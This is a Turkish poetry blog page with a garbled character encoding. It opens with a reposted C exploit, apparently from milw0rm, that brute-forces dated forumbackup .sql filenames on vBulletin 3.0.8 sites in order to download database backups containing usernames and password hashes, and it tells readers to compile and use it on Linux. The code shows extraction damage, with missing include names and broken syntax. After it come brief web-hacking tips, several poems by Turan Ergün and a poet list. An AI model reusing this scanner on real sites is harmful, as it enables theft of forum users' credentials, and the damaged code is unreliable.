VBulletin backup.php A��

VBulletin backup.php Aç��

backup.php scriptinde çok güzel bir aç�k var.
vertaban� yede�ini al�rker �ifre istemior.
e�er site sahibi veya admin default adl� klasörün uzant�s�yla oynamam��sa bir üye bunu tahmin edebilip indirebiliyo.
bu dosyan�n içindede her kullan�c�n�n
kullan�c� ad�
�ifre hashleri
ve birçok özeli var
Exploit ; #include
#include
#include #include
#include
#include
#include

#define SERVER_PORT 80

char *getdate(int b){
static char datestring[40];
time_t ttt;
int minustime;
minustime=86400 * b;
ttt=time(NULL)- minustime;
strftime (datestring, sizeof(datestring), "%m-%d-%Y", localtime(&ttt));
printf("Searching: forumbackup-%s.sqln", datestring);
return(datestring);
}

char *getdate2(int b){
static char datestring[40];
time_t ttt;
int minustime;
minustime=86400 * b;
ttt=time(NULL)- minustime;
strftime (datestring, sizeof(datestring), "%Y-%d-%m", localtime(&ttt));
printf("Searching: forumbackup-%s.sqln", datestring);
return(datestring);
}

char *getdate3(int b){
static char datestring[40];
time_t ttt;
int minustime;
minustime=86400 * b;
ttt=time(NULL)- minustime;
strftime (datestring, sizeof(datestring), "%d-%m-%Y", localtime(&ttt));
printf("Searching: forumbackup-%s.sqln", datestring);
return(datestring);
}

char *getdate4(int b){
static char datestring[40];
time_t ttt;
int minustime;
minustime=86400 * b;
ttt=time(NULL)- minustime;
strftime (datestring, sizeof(datestring), "%m.%d.%Y", localtime(&ttt)); // hals1
printf("Searching: forumbackup-%s.sqln", datestring);
return(datestring);
}

char *getdate5(int b){
static char datestring[40];
time_t ttt;
int minustime;
minustime=86400 * b;
ttt=time(NULL)- minustime;
strftime (datestring, sizeof(datestring), "%Y.%d.%m", localtime(&ttt)); // hals1
printf("Searching: forumbackup-%s.sqln", datestring);
return(datestring);
}

char *getdate6(int b){
static char datestring[40];
time_t ttt;
int minustime;
minustime=86400 * b;
ttt=time(NULL)- minustime;
strftime (datestring, sizeof(datestring), "%d.%m.%Y", localtime(&ttt)); // hals1
printf("Searching: forumbackup-%s.sqln", datestring);
return(datestring);
}

char *getdate7(int b){
static char datestring[40];
time_t ttt;
int minustime;
minustime=86400 * b;
ttt=time(NULL)- minustime;
strftime (datestring, sizeof(datestring), "%d%m%Y", localtime(&ttt)); // Tyn0r
printf("Searching: forumbackup-%s.sqln", datestring);
return(datestring);
}

main(int argc, char *argv[]) {

char buffer[1000],host[255],path[255],dog[255],c;
int sd, rc, i=0, d=0, b;
struct sockaddr_in localAddr, servAddr;
struct hostent *h;

char *http =
"Accept: */*rn"
"Accept-Language: en-us,en;q=0.5rn"
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7rn"
"User-Agent: we want your backups - milw0rmrn"
"Connection: closernrn";

if ( argc != 5) {
printf("vBulletin <= 3.0.8 Accessible Database Backup Searcher /str0ke ! milw0rm.comn");
printf("usage: %s -h hostname/ip -p /path/ n",argv[0]);
exit(0);
}

while ((c = getopt (argc, argv, "h:" != EOF)
switch(c)
{
case ’h’:
strncpy(host,optarg,sizeof(host));
break;
case ’p’:
strncpy(path,optarg,sizeof(path));
break;
}

h = gethostbyname(host);

if(h==NULL) {
printf("Unknown Host ’%s’n",host);
exit(1);
}

printf("Trying To Connect To [%s]n",host);
while(1){
servAddr.sin_family = h->h_addrtype;
memcpy((char *) &servAddr.sin_addr.s_addr, h->h_addr_list[0], h->h_length);
servAddr.sin_port = htons(SERVER_PORT);
sd = socket(AF_INET, SOCK_STREAM, 0);

if(sd<0) {
perror("Can Not Open The Socketn");
exit(1);
}

localAddr.sin_family = AF_INET;
localAddr.sin_addr.s_addr = htonl(INADDR_ANY);
localAddr.sin_port = htons(0);

rc = bind(sd, (struct sockaddr *) &localAddr, sizeof(localAddr));

if(rc<0) {
printf("%d: cannot bind port TCP %un",sd,SERVER_PORT);
perror("error ");
exit(1);
}

rc = connect(sd, (struct sockaddr *) &servAddr, sizeof(servAddr));

if(rc<0) {
perror("cannot connectn");
exit(1);
}
memset(buffer,0,sizeof(buffer));

if ( d == 0 ) {
snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1rnHost: %srn%s",path,getdate(i),host,http);
} else if ( d == 1 ) {
snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1rnHost: %srn%s",path,getdate2(i),host,http);
} else if ( d == 2 ) {
snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1rnHost: %srn%s",path,getdate3(i),host,http);
} else if ( d == 3 ) {
snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1rnHost: %srn%s",path,getdate4(i),host,http);
} else if ( d == 4 ) {
snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1rnHost: %srn%s",path,getdate5(i),host,http);
} else if ( d == 5 ) {
snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1rnHost: %srn%s",path,getdate6(i),host,http);
} else if ( d == 6 ) {
snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1rnHost: %srn%s",path,getdate7(i),host,http);
}

rc = send(sd,buffer, strlen(buffer), 0);
memset(buffer,0,sizeof(buffer));

while(1)
{
rc=recv(sd,buffer,sizeof(buffer),0);
if(strstr(buffer,"404" break;
if(strstr(buffer,"200 OK"
{
if ( d == 0 ) {
printf("Database backup found: %s%sforumbackup-%s.sqln", host, path, getdate(i));
}
if ( d == 1 ) {
printf("Database backup found: %s%sforumbackup-%s.sqln", host, path, getdate2(i));
}
if ( d == 2 ) {
printf("Database backup found: %s%sforumbackup-%s.sqln", host, path, getdate3(i));
}
if ( d == 3 ) {
printf("Database backup found: %s%sforumbackup-%s.sqln", host, path, getdate4(i));
}
if ( d == 4 ) {
printf("Database backup found: %s%sforumbackup-%s.sqln", host, path, getdate5(i));
}
if ( d == 5 ) {
printf("Database backup found: %s%sforumbackup-%s.sqln", host, path, getdate6(i));
}
if ( d == 6 ) {
printf("Database backup found: %s%sforumbackup-%s.sqln", host, path, getdate7(i));
}
exit(0);
}
memset(buffer,0,sizeof(buffer));
}
close(sd);

if ( d < 6 ) {
d++;
} else {
d=0;
i++;
}
}
}

Kaynak:turkishajan.org
yukaridaki Cohttp://www.turkishajan.orgde ( C ) Linux da derleyip kullanabilirsiniz..

1/5/2009 | Kategori: (Web Siteleri G�venlik) | Yorum ( 0 ) Yorum yaz! Baglanti

Hacklenmemek i�in ufak Bilgiler

Hacklenmemek için ufak Bilgiler

Siteler için;
Html için;
Html sayfalar�n hacklenme riski yok denecek kadar azd�r.Sayfada herhangi bir veri taban� olmad�� için hack riski azd�r.Ama sunuculardan yap�lan mudahalelerle hacklenebilir.Nas�l m�?Serverda bazen 1000 lerce site olabilir.Bu sitelerin herhangi birine s�zmak o serverda root olmak sizin de hacklenme riskiniz oldu�unu gösterir.
Php için;Php de rfi denilen parametlereden olu�an aç�klar vard�r.Örne�in
include once dizinlerinde bulunan $ parametreler scriptte rfi n�n olabilece�ini gösterir.Bu da önemli bir tehtit haline gelebilir.
asp için;Asp için davs aç�p� denen web klasörden eri�im izni diye de bilinen aç�k olabilir.
sql;Sayfaya hata verdirilerek admin yetkisine kavu�makta denilebilir.
PC CASUSLU�UNU ENGELLEMEK;
Bazen kredi kart�m�z�n veya bankamati�imizdeki paralar�n bo�alt��n� görebiliriz.Neden acaba dedi�iniz de bu bilgiyi okuman�z yeterli.
Bir çok kredi kart� h�rs�z� büyük sitelerin kaynak kodlar�na trojan keylogger gibi casus yaz�l�mlar yükleyebilir.Bizlerde bu sitelere giri� yapt��m�zda bize bula�abilir.Bula�t�ktan sonra herhangi bir online al�veri�inizde kredi kart� bilgileriniz bu ki�ilerin eline geçmesine neden olabilir.
Bundan nas�l kurtuluruz.Mozilla firefox 3 sürümlerini kullanman�z� tavsiye ediyorum.Ayr�ca internette bilmedi�iniz güvenmedi�iniz sitelerden asla al��veri� yapmay�n.

Al�nt� Kaynak:http://www.turkishajan.org

1/5/2009 | Kategori: (Web Siteleri G�venlik) | Yorum ( 0 ) Yorum yaz! Baglanti

CANPAR�AM

�iirin Videosu

http://www.dailymotion.com/video/x869m1_can-parcamturan-ergun_music

CANPARÇAM

Canparçam Kar de�il bembeyaz gökten gül ya�sa
Sen yoksan ben avuç açmam canparçam
Ya�murlar yerine gökten bal ya�sa
Sen yokken bir yudum içmem canparçam

Gizli bir keramet var duda��nda
Gül açar öptü�ün yerden bir anda
Yapra�a dönü�ür kabuk yaramda
Sen varken y�k�lmam göçmem canparçam

Ay güne� yüzünü tek bana dönse
Gökten asansörle melekler inse
Hiç �üphen olmas�n sevenin bense
Senden ba�kas�n� seçmem canparçam

Müthi� bir s�cakl�k var yüre�inde
Dü�meden eriyor kar yüre�inde
Ruhumu s�ms�cak sar yüre�inde
Ömrümce üstümü açmam canparçam

Y�llarca �u gönlüm a�ka aç kalsa
�ükrederim senden bir tel saç kalsa
Hat�ra saklamak bile suç olsa
En büyük cezadan kaçmam canparçam

TURAN ERGÜN

31/1/2009 | Kategori: Siir Video | Yorum ( 1 ) Yorum yaz! Baglanti

ISLAK Y�REK

ISLAK YÜREK

Dün gece dertlerimi toplad�m kaba taslak
Yüre�im bulutlardan gördüm ki daha �slak
�çimde çürüyecek bu halde b�rak�rsak
Gölgede kurumuyor güne�e ser �stanbul

Yüre�ime dikmi�im gül san�pta ayr��
K�rm�z�ya boyam�� dikenlerin s�yr��
Görsün asya avrupa içimdeki bayra��
Aleme ibret olsun köprüye ger �stanbul

Götür de sevdi�ime dikenleri geri ver
F�rt�na gösteriyor gelen bütün veriler
Sulara gömülmeden kahve rengi gemiler
Bana kap�y� göster �ehirden sür �stanbul

Bakars�n �ans�m döner meçhule giden yolda
Kimbilir bahar gelir çiçe�im açar dalda
A�kla uçan ar�ya petekte ç�kar balda
Yak�nda müjdem gelir beklede gör �stanbul

Bakars�n seven ç�kar benim hiç bilmedi�im
Görürsün erken ç�kar tahminim her dedi�im
Adresimi sorarsa can�mda fer dedi�im
Kalmas�n ayak izim, yerlere göm �stanbul

Adresimi sorarsa can�ms�n yar dedi�im
Aram�zda s�r kals�n maziye göm �stanbul

TURAN ERGÜN

5/1/2009 | Kategori: -se�me resimli �iirler- | Yorum ( 1 ) Yorum yaz! Baglanti

BULMACA ��R

BULMACA

Söyleyin ben kimim neyin nesiyim
Hangi gazetenin ilavesiyim?
Hayat�n garip müsvettesiyim
Bo�lu�a at�lm�� boynu bükü�üm

Gö�sünden vurulmu� bir bulmacay�m
Yüre�imde diki� tutmaz sökü�üm
Solumdan sa��ma paramparçay�m
Yukardan a�a�� y�k�k dökü�üm

Biri geldi çözmek için can att�
Kalemiyle can evimi kanatt�
Oysa beni çözebilmek sanatt�
Tepeden t�rna�a parça bölü�üm

En hafif silaht� kur�un kalemi
Delik de�ik etti bütün karemi
Haritaya çevirdi kalp küremi
Ac�lar�n ili, ilçesi, köyüyüm

Var m� aran�zda çözmek isteyen
Buyursun sol yan�mda gezmek isteyen
Aln�ma beyaz yaz� yazmak isteyen
Çözmeyi bilen ellerin tüyüyüm

�unu bil ki s�nav�mda farkl� kaide
Sonra beni uyarmad� deme de!
Bir yanl�� üç do�ru götürür bende
Hayat üniversitesi (YÖK)üyüm

Kimine göre ben delinin tekiyim
Kimine göre belki biraz zekiyim
Vuslat karnemde olmad� pekiyim
Ekose gömle�imde lekeyim

TURAN ERGÜN

17.12.2008

18/12/2008 | Kategori: Resimli Siirler | Yorum ( 3 ) Yorum yaz! Baglanti

<<�nceki Sayfa |1/80|Sonraki Sayfa>>

>> AT�LLA �LHAN

>> A�IK VEYSEL

>> AHMED AR�F

>> ABDURRAH�M KARAKO�

>> ATAOL BEHRAMO�LU

>> AHMET SEL�UK �LKAN

>> AHMET TELL�

>> AR�F N�HAT ASYA

>> AZ�Z NES�N

>> BED�RHAN G�K�E

>>BEDR� RAHM� EY�BO�LU

>> BEH�ET NECAT�G�L

>> CEMAL SAF�

>> CEMAL S�REYA

>> CAN Y�CEL

>> CAH�T SITKI TARANCI

>>ED�P CANSEVER

>> FAZIL H�SN� DA�LARCA

>> KARACO�LAN ��RLER�

>>�BRAH�M SADR�

>> MEHMET AK�F ERSOY

>> MEVLANA

>> MURATHAN MUNGAN

>> NAZIM H�KMET RAN

>> NEC�P FAZIL KISAK�REK

>> NURULLAH ATA�

>> ORHAN VEL�

>>�ZDEM�R ASAF

>>�MER HAYYAM

>> RIZA POLAT AKKOYUNLU

>> SEZA� KARAKO�

>>SUNAY AKIN

>> TURAN ERG�N

>>U�UR ARSLAN

>> �M�T YA�AR O�UZCAN

>>YAHYA KEMAL BEYATLI

>>YILMAZ ERDO�AN

>> YUNUS EMRE

>>YELDA KARATA�

>>YUSUF HAYALO�LU

>>

>>

>> TURAN ERG�N ��R K�TABI

>>RENG�N ALACAATLI

>>D�LEK KADIO�LU

>>�LET��M

Free chat widget @ ShoutMix

kuva.php?kuvaid=5&teksti=Siir+Adresi

<div class="keski"> <a href="http://siiradresi.blogcu.com"> <img style="width: 250px; height: 200px;" src="http://www.lintukoto.net/english/demonstration/kuva.php?kuvaid=5&teksti=Siir+Adresi" class="kuva" alt="kuva.php?kuvaid=5&teksti=Siir+Adresi"></a><pre id="line1"><br></pre><a href="http://siiradresi.blogcu.com"> </a> </div> <p style="margin: 0px;"></p>

Ba�lant�lar

Antoloji Yetkili �air

Pardus007

<